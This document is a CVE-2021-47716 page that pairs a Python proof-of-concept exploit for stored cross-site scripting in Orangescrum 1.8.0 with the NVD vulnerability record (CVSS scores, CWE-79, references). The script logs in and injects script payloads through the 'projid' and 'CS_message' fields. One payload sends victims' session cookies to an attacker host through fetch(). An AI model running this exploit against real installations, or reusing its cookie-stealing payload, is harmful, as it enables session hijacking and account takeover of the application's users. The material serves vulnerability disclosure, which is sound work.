CVE-2021-47716

import requests import sys # CVE-2021-47716 PoC - Orangescrum XSS via projid parameter # Target: Orangescrum 1.8.0 TARGET_URL = "http://target.com" USERNAME = "[email protected]" PASSWORD = "password123" def login(session): """Authenticate to Orangescrum""" login_url = f"{TARGET_URL}/users/login" data = { "data[User][email]": USERNAME, "data[User][password]": PASSWORD } response = session.post(login_url, data=data, allow_redirects=True) return "user" in response.text or response.status_code == 200 def exploit_xss_via_projid(session): """Exploit XSS via projid parameter""" # XSS payload embedded in projid xss_payload = '<script>alert(document.cookie)</script>' exploit_url = f"{TARGET_URL}/projects/add_project" data = { "data[Project][name]": "Malicious Project", "data[Project][projid]": xss_payload, "data[Project][short_name]": "test" } response = session.post(exploit_url, data=data) return response.status_code == 200 def exploit_xss_via_cs_message(session): """Exploit XSS via CS_message parameter""" xss_payload = '<img src=x onerror=fetch("http://attacker.com/steal?c="+document.cookie)>' message_url = f"{TARGET_URL}/messages/send_message" data = { "CS_message": xss_payload, "receiver_id": "1" } response = session.post(message_url, data=data) return response.status_code == 200 def main(): session = requests.Session() if login(session): print("[+] Login successful") exploit_xss_via_projid(session) print("[+] XSS payload sent via projid") exploit_xss_via_cs_message(session) print("[+] XSS payload sent via CS_message") else: print("[-] Login failed") sys.exit(1) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2021-47716", "sourceIdentifier": "[email protected]", "published": "2025-12-23T20:15:43.377", "lastModified": "2025-12-31T17:15:17.997", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Orangescrum 1.8.0 contains multiple cross-site scripting vulnerabilities that allow authenticated attackers to inject malicious scripts through various input parameters. Attackers can exploit parameters like 'projid', 'CS_message', and 'name' to execute arbitrary JavaScript code in victim's browsers by submitting crafted payloads through application endpoints."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:orangescrum:orangescrum:1.8.0:*:*:*:*:*:*:*", "matchCriteriaId": "0BFFFA2F-2A4C-43C5-8C33-4E74A44AD16E"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/50554", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.orangescrum.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/orangescrum-cross-site-scripting-via-authenticated-endpoints", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}